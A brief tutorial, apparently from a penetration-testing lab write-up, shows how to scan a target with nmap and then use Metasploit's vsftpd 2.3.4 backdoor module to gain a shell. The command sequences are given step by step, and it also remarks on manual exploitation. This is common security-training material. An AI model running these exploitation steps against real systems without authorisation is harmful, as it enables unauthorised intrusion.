Gaining access with metasploit

Lets start with the nmap scan.

```
sudo nmap -A IP
```

Now looking at the first service, we can see it is running VSFTPD and also has a version number.

We will check it in metasploit.

So, Metasploit is an open source exploitation framework that has a lot of pre-build exploit code that makes the exploitation process really easy.

```
msfconsole

search vsftpd

use exploit/unix/ftp/vsftpd_234_backdoor

options

set RHOSTS IP

exploit
```

So Tools like metasploit makes very easy to perform exploitation if the target is running an outdated and vulnerable software. But please keep in mind, that we don't have to run on Metasploit too heavily as it has limited exploit modules and you might not found a exploit to run on the target in real life. That's where hunting for manual exploits comes in, because manual exploitation is the way to go in real engagements. But for an easy win, Metasploit is a go to tool for popping shells as it does all the heavy lifting for us.
